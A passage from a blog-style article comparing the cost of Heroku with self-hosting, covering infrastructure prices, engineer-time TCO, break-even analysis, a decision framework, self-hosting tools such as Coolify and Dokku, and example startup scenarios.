<pre><code>Infrastructure:
  2x Application servers (8GB RAM each)     = $96/month
  Load Balancer                             = $12/month
  Managed PostgreSQL (4GB, HA)              = $60/month
  Managed Redis (2GB, HA)                   = $30/month
  Object storage (backups, assets)          = $5/month
  Monitoring (Datadog/New Relic)            = $30/month
  Log aggregation (self-hosted ELK)         = $0
  CDN (Cloudflare free/pro)                 = $0-20/month

TOTAL: $233/month
</code></pre><h3 id="h3-infrastructure-cost-comparison" class="group relative scroll-mt-24">
        <a href="#h3-infrastructure-cost-comparison" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Infrastructure Cost Comparison
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-infrastructure-cost-comparison"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><table>
<thead>
<tr>
<th>Scenario</th>
<th>Heroku</th>
<th>Self-Hosted</th>
<th>Savings</th>
</tr>
</thead>
<tbody><tr>
<td>Small production</td>
<td>$380/mo</td>
<td>$29-71/mo</td>
<td>$309-351/mo (82-92%)</td>
</tr>
<tr>
<td>Medium production</td>
<td>$2,300/mo</td>
<td>$233/mo</td>
<td>$2,067/mo (90%)</td>
</tr>
</tbody></table>
<p>The infrastructure savings are <strong>dramatic and real</strong>.</p>
<p>But infrastructure is only part of total cost.</p>
<h2 id="h2-hidden-costs-what-the-price-tags-dont-show" class="group relative scroll-mt-24">
        <a href="#h2-hidden-costs-what-the-price-tags-dont-show" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Hidden Costs: What the Price Tags Don't Show
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-hidden-costs-what-the-price-tags-dont-show"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Infrastructure pricing tells an incomplete story. Let&#39;s calculate Total Cost of Ownership (TCO).</p>
<h3 id="h3-engineer-time-the-largest-hidden-cost" class="group relative scroll-mt-24">
        <a href="#h3-engineer-time-the-largest-hidden-cost" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Engineer Time: The Largest Hidden Cost
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-engineer-time-the-largest-hidden-cost"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Self-hosting requires operational work that Heroku handles automatically.</p>
<p><strong>Initial Setup (one-time):</strong></p>
<table>
<thead>
<tr>
<th>Task</th>
<th>Hours</th>
<th>Engineer Cost @ $100/hr</th>
</tr>
</thead>
<tbody><tr>
<td>Server provisioning</td>
<td>2</td>
<td>$200</td>
</tr>
<tr>
<td>Security hardening</td>
<td>4</td>
<td>$400</td>
</tr>
<tr>
<td>Database setup &amp; tuning</td>
<td>3</td>
<td>$300</td>
</tr>
<tr>
<td>SSL certificate automation</td>
<td>1</td>
<td>$100</td>
</tr>
<tr>
<td>Deployment pipeline setup</td>
<td>8</td>
<td>$800</td>
</tr>
<tr>
<td>Monitoring/alerting setup</td>
<td>4</td>
<td>$400</td>
</tr>
<tr>
<td>Backup automation</td>
<td>3</td>
<td>$300</td>
</tr>
<tr>
<td>Documentation</td>
<td>2</td>
<td>$200</td>
</tr>
<tr>
<td><strong>TOTAL SETUP</strong></td>
<td><strong>27 hrs</strong></td>
<td><strong>$2,700</strong></td>
</tr>
</tbody></table>
<p><strong>Ongoing Monthly Maintenance:</strong></p>
<table>
<thead>
<tr>
<th>Task</th>
<th>Hours/mo</th>
<th>Cost/mo @ $100/hr</th>
</tr>
</thead>
<tbody><tr>
<td>Security patches</td>
<td>2</td>
<td>$200</td>
</tr>
<tr>
<td>Incident response (avg)</td>
<td>3</td>
<td>$300</td>
</tr>
<tr>
<td>Performance monitoring</td>
<td>1</td>
<td>$100</td>
</tr>
<tr>
<td>Backup verification</td>
<td>1</td>
<td>$100</td>
</tr>
<tr>
<td>Dependency updates</td>
<td>2</td>
<td>$200</td>
</tr>
<tr>
<td>Capacity planning</td>
<td>1</td>
<td>$100</td>
</tr>
<tr>
<td>On-call rotation overhead</td>
<td>4</td>
<td>$400</td>
</tr>
<tr>
<td><strong>TOTAL MONTHLY</strong></td>
<td><strong>14 hrs</strong></td>
<td><strong>$1,400/month</strong></td>
</tr>
</tbody></table>
<p><strong>This assumes:</strong></p>
<ul>
<li>Mid-level engineer at $100/hour (conservative)</li>
<li>Smooth operations (no major incidents)</li>
<li>One application/service</li>
</ul>
<h3 id="h3-tco-with-engineer-time" class="group relative scroll-mt-24">
        <a href="#h3-tco-with-engineer-time" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TCO With Engineer Time
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-tco-with-engineer-time"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Now the comparison shifts:</p>
<p><strong>First Year TCO:</strong></p>
<pre><code>Heroku Medium Production:
  Infrastructure: $2,300 x 12          = $27,600
  Engineer time: minimal               = $1,000
  TOTAL:                                 $28,600

Self-Hosted (managed services):
  Infrastructure: $233 x 12            = $2,796
  Setup (one-time):                    = $2,700
  Monthly maintenance: $1,400 x 12     = $16,800
  TOTAL:                                 $22,296

Savings: $6,304 (22% lower, not 90%)
</code></pre><p><strong>Second Year TCO</strong> (no setup costs):</p>
<pre><code>Heroku:   $27,600 + $1,000   = $28,600
Self-Hosted: $2,796 + $16,800 = $19,596

Savings: $9,004 (31% lower)
</code></pre><p>The savings are still significant, but <strong>not the 90% the infrastructure pricing suggests</strong>.</p>
<h3 id="h3-break-even-analysis" class="group relative scroll-mt-24">
        <a href="#h3-break-even-analysis" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Break-Even Analysis
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-break-even-analysis"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When does self-hosting pay off?</p>
<pre><code>Setup cost:        $2,700
Monthly savings:   $2,067 (infrastructure) - $1,400 (engineer time) = $667

Break-even: $2,700 / $667 = 4.0 months
</code></pre><p>If you stay self-hosted for more than 4 months, you come out ahead financially.</p>
<p><strong>But this assumes:</strong></p>
<ul>
<li>No major incidents requiring significant engineer time</li>
<li>Engineer time is actually available (not pulled from product work)</li>
<li>You value engineer time at market rate</li>
</ul>
<h3 id="h3-other-hidden-costs" class="group relative scroll-mt-24">
        <a href="#h3-other-hidden-costs" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Other Hidden Costs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-other-hidden-costs"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p><strong>Risk costs</strong> (hard to quantify):</p>
<ul>
<li><strong>Downtime</strong>: Self-managed means you own incidents. Average cost of downtime varies by business ($5,000-100,000/hour for e-commerce)</li>
<li><strong>Security</strong>: You&#39;re responsible for hardening, patches, compliance. Breach costs can be catastrophic</li>
<li><strong>Scaling delays</strong>: Heroku scales instantly. Self-hosted requires capacity planning</li>
<li><strong>Knowledge concentration</strong>: If your DevOps engineer leaves, who maintains infrastructure?</li>
</ul>
<p><strong>Tooling costs:</strong></p>
<ul>
<li>Deployment automation (if not using Coolify/CapRover): $500-2,000 setup</li>
<li>Monitoring (beyond free tiers): $50-500/month</li>
<li>Log aggregation (beyond free tiers): $50-300/month</li>
<li>Backup storage: $10-50/month</li>
<li>Security scanning: $50-200/month</li>
</ul>
<p><strong>Opportunity cost:</strong></p>
<ul>
<li>Engineer time spent on infrastructure isn&#39;t spent on product features</li>
<li>For early-stage startups, this can be the most expensive &quot;hidden&quot; cost</li>
</ul>
<h2 id="h2-decision-framework-should-you-self-host" class="group relative scroll-mt-24">
        <a href="#h2-decision-framework-should-you-self-host" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Decision Framework: Should You Self-Host?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-decision-framework-should-you-self-host"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Use this framework to evaluate your situation:</p>
<h3 id="h3-you-should-stay-on-heroku-if" class="group relative scroll-mt-24">
        <a href="#h3-you-should-stay-on-heroku-if" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          You Should Stay on Heroku If:
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-you-should-stay-on-heroku-if"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>✅ <strong>Monthly bill &lt; $500</strong>: The convenience premium is worth it</p>
<p>✅ <strong>Pre-product-market fit</strong>: Focus on product, not infrastructure</p>
<p>✅ <strong>No DevOps expertise</strong>: Team lacks Linux/Docker/database management skills</p>
<p>✅ <strong>Compliance requirements</strong>: Need SOC 2, HIPAA, PCI certifications quickly</p>
<p>✅ <strong>Unpredictable scaling</strong>: Traffic spikes require instant horizontal scaling</p>
<p>✅ <strong>Engineer time is expensive</strong>: Senior engineers earning $150k+ cost $75/hour. Spending 14 hours/month on ops = $1,050/month opportunity cost</p>
<p>✅ <strong>Small team (1-3 engineers)</strong>: Can&#39;t afford dedicated ops time</p>
<p>✅ <strong>Complex compliance</strong>: Healthcare, fintech, or regulated industries where Heroku&#39;s certifications matter</p>
<h3 id="h3-you-should-consider-self-hosting-if" class="group relative scroll-mt-24">
        <a href="#h3-you-should-consider-self-hosting-if" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          You Should Consider Self-Hosting If:
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-you-should-consider-self-hosting-if"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>✅ <strong>Monthly Heroku bill &gt; $1,000</strong>: Savings justify setup and maintenance effort</p>
<p>✅ <strong>Stable application</strong>: Not rapidly changing infrastructure requirements</p>
<p>✅ <strong>DevOps capability</strong>: At least one engineer comfortable with Linux, Docker, databases, networking</p>
<p>✅ <strong>Predictable traffic</strong>: Can capacity plan without instant scaling needs</p>
<p>✅ <strong>Team size 5+</strong>: Can dedicate time to operations without pulling from product</p>
<p>✅ <strong>Cost-sensitive</strong>: Early-stage startup watching runway, or bootstrapped business</p>
<p>✅ <strong>Learning opportunity</strong>: Team wants to build operational maturity</p>
<p>✅ <strong>Control requirements</strong>: Need custom configurations Heroku doesn&#39;t support</p>
<p>✅ <strong>Long-term commitment</strong>: Planning to stay on this infrastructure for 12+ months</p>
<h3 id="h3-the-sweet-spot-for-self-hosting" class="group relative scroll-mt-24">
        <a href="#h3-the-sweet-spot-for-self-hosting" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Sweet Spot for Self-Hosting
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-sweet-spot-for-self-hosting"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Self-hosting makes most sense for:</p>
<ul>
<li><strong>Team size</strong>: 5-20 engineers</li>
<li><strong>Heroku bill</strong>: $800-3,000/month</li>
<li><strong>Application maturity</strong>: Post-PMF, stable architecture</li>
<li><strong>Traffic pattern</strong>: Predictable, not spikey</li>
<li><strong>Ops skill</strong>: Mid-level DevOps engineer or senior full-stack with ops experience</li>
<li><strong>Region</strong>: Single region deployment (multi-region adds complexity)</li>
<li><strong>Architecture</strong>: Standard web applications (not complex distributed systems)</li>
</ul>
<h2 id="h2-modern-self-hosting-tools" class="group relative scroll-mt-24">
        <a href="#h2-modern-self-hosting-tools" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Modern Self-Hosting Tools
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-modern-self-hosting-tools"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you decide to self-host, modern tools bridge the gap between Heroku&#39;s convenience and raw VPS management:</p>
<h3 id="h3-coolify-open-source-free" class="group relative scroll-mt-24">
        <a href="#h3-coolify-open-source-free" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Coolify (Open Source, Free)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-coolify-open-source-free"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Git-based deployments (like Heroku)</li>
<li>Docker-based app isolation</li>
<li>Built-in SSL with Let&#39;s Encrypt</li>
<li>Database management UI</li>
<li>Zero-downtime deployments</li>
<li>Resource monitoring</li>
<li>Works on any VPS</li>
</ul>
<p><strong>Best for</strong>: Teams wanting Heroku-like experience at VPS prices</p>
<h3 id="h3-caprover-open-source-free" class="group relative scroll-mt-24">
        <a href="#h3-caprover-open-source-free" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          CapRover (Open Source, Free)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-caprover-open-source-free"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Docker-based deployments</li>
<li>One-click apps (WordPress, Ghost, etc.)</li>
<li>Web UI for management</li>
<li>Automatic HTTPS</li>
<li>Simpler than Coolify</li>
</ul>
<p><strong>Best for</strong>: Smaller teams, simpler needs</p>
<h3 id="h3-dokku-open-source-free" class="group relative scroll-mt-24">
        <a href="#h3-dokku-open-source-free" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Dokku (Open Source, Free)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-dokku-open-source-free"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>Oldest Heroku alternative</li>
<li>Buildpack-based (exactly like Heroku)</li>
<li>CLI-focused (minimal UI)</li>
<li>Very lightweight</li>
<li>Battle-tested</li>
</ul>
<p><strong>Best for</strong>: CLI-comfortable teams, minimal overhead</p>
<h3 id="h3-kamal-open-source-free" class="group relative scroll-mt-24">
        <a href="#h3-kamal-open-source-free" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Kamal (Open Source, Free)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kamal-open-source-free"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>From the Rails/37signals team</li>
<li>Zero-downtime deployments</li>
<li>Docker-based</li>
<li>Minimal, opinionated</li>
<li>Great for Ruby/Rails apps</li>
</ul>
<p><strong>Best for</strong>: Rails applications, teams wanting simple deployment tool</p>
<h3 id="h3-cloud-provider-managed-services" class="group relative scroll-mt-24">
        <a href="#h3-cloud-provider-managed-services" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Cloud Provider Managed Services
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cloud-provider-managed-services"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li>AWS ECS/Fargate, Google Cloud Run, Azure Container Apps</li>
<li>Middle ground: managed container orchestration</li>
<li>More expensive than raw VPS, cheaper than Heroku</li>
<li>Less operational burden than self-hosting</li>
</ul>
<p><strong>Best for</strong>: Teams wanting some managed services without Heroku&#39;s premium</p>
<h2 id="h2-real-world-scenarios" class="group relative scroll-mt-24">
        <a href="#h2-real-world-scenarios" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Real-World Scenarios
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-real-world-scenarios"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Let&#39;s apply the framework to specific situations:</p>
<h3 id="h3-scenario-1-early-stage-saas-startup" class="group relative scroll-mt-24">
        <a href="#h3-scenario-1-early-stage-saas-startup" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario 1: Early-Stage SaaS Startup
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-1-early-stage-saas-startup"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><strong>Team</strong>: 3 engineers (2 full-stack, 1 frontend)</li>
<li><strong>Heroku bill</strong>: $450/month</li>
<li><strong>Revenue</strong>: $15k MRR</li>
<li><strong>Stage</strong>: Product-market fit phase</li>
</ul>
<p><strong>Recommendation</strong>: Stay on Heroku</p>
<p><strong>Why</strong>: Team is too small to dedicate ops time. $450/month is 3% of revenue - affordable. Engineers should focus on product iteration, not infrastructure. Savings ($300/month) don&#39;t justify operational risk and distraction.</p>
<h3 id="h3-scenario-2-growing-b2b-saas" class="group relative scroll-mt-24">
        <a href="#h3-scenario-2-growing-b2b-saas" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario 2: Growing B2B SaaS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-2-growing-b2b-saas"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><strong>Team</strong>: 12 engineers (10 product, 1 DevOps, 1 data)</li>
<li><strong>Heroku bill</strong>: $2,400/month</li>
<li><strong>Revenue</strong>: $200k MRR</li>
<li><strong>Stage</strong>: Post-PMF, scaling</li>
</ul>
<p><strong>Recommendation</strong>: Migrate to self-hosting</p>
<p><strong>Why</strong>: Have dedicated DevOps capacity. Heroku bill is significant ($28,800/year). Team has operational maturity. Infrastructure savings ($2,167/month = $26,004/year) fund 25-50% of a mid-level engineer depending on market rates. Application is stable. Can absorb 2-3 week migration project.</p>
<h3 id="h3-scenario-3-bootstrapped-business" class="group relative scroll-mt-24">
        <a href="#h3-scenario-3-bootstrapped-business" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Scenario 3: Bootstrapped Business
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-scenario-3-bootstrapped-business"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
